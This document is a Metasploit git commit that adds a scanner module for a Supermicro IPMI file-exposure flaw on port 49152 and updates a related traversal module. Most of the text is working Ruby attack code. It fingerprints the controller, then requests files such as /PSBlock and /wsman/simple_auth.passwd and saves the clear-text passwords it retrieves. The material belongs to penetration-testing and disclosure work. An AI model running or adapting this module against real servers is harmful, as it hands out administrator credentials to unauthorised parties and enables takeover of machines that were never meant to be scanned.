Land #3465, @hmoore-r7's module for SMC IPMI Port 49152 file exposure vulnerability

bug/bundler_fix
jvazquez-r7 2014-06-20 17:22:28 -05:00
commit 469fae7058
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
2 changed files with 112 additions and 5 deletions

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@ -0,0 +1,104 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',
'Description' => %q{
This module abuses a file exposure vulnerability accessible through the web interface
on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker
to obtain detailed device information and download data files containing the clear-text
usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs
were exposed to the internet with this vulnerability.
},
'Author' =>
[
'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis
'John Matherly <jmath[at]shodan.io>', # Internet-wide scan
'Dan Farmer <zen[at]fish2.com>', # Additional investigation
'hdm' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'],
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
],
'DisclosureDate' => 'Jun 19 2014'))
register_options(
[
Opt::RPORT(49152)
], self.class)
end
def is_supermicro?
res = send_request_cgi(
{
"uri" => "/IPMIdevicedesc.xml",
"method" => "GET"
})
if res && res.code == 200 && res.body.to_s =~ /supermicro/i
path = store_loot(
'supermicro.ipmi.devicexml',
'text/xml',
rhost,
res.body.to_s,
'IPMIdevicedesc.xml'
)
print_good("#{peer} - Stored the device description XML in #{path}")
return true
else
return false
end
end
def run_host(ip)
unless is_supermicro?
vprint_error("#{peer} - This does not appear to be a Supermicro IPMI controller")
return
end
candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd }
candidates.each do |uri|
res = send_request_cgi(
{
"uri" => uri,
"method" => "GET"
})
next unless res
unless res.code == 200 && res.body.length > 0
vprint_status("#{peer} - Request for #{uri} resulted in #{res.code}")
next
end
path = store_loot(
'supermicro.ipmi.passwords',
'application/octet-stream',
rhost,
res.body.to_s,
uri.split('/').last
)
print_good("#{peer} - Password data from #{uri} stored to #{path}")
end
end
end

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@ -9,8 +9,10 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
APP_NAME = "Supermicro web interface"
def initialize(info = {})
@ -23,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary
a valid, but not necessarily administrator-level account, to access the contents of any file
on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
with firmware version SMT_X9_214.
with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and
/wsman/simple_auth.passwd
},
'Author' =>
[
@ -33,8 +36,8 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' =>
[
#[ 'CVE', '' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ],
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
],
'DisclosureDate' => 'Nov 06 2013'))
@ -107,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
def run
def run_host(ip)
print_status("#{peer} - Checking if it's a #{APP_NAME}....")
if is_supermicro?
print_good("#{peer} - Check successful")
@ -133,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'supermicro.ipmi.traversal',
'supermicro.ipmi.traversal.psblock',
'application/octet-stream',
rhost,
contents,